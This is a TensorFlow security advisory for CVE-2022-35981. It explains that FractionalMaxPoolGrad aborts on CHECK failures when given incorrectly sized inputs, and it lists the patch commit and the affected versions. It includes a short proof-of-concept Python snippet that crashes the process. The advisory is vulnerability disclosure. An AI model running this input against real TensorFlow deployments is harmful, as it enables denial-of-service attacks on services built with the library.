CHECK fail in FractionalMaxPoolGradCVE-2022-35981
FractionalMaxPoolGrad validates its inputs with CHECK failures instead of with returning errors. If it gets incorrectly sized inputs, the CHECK failure can be used to trigger a denial of service attack:
import tensorflow as tf overlapping = True orig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) orig_output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) out_backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) row_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64) col_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64) tf.raw_ops.FractionalMaxPoolGrad(orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)
We have patched the issue in GitHub commit 8741e57d163a079db05a7107a7609af70931def4.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
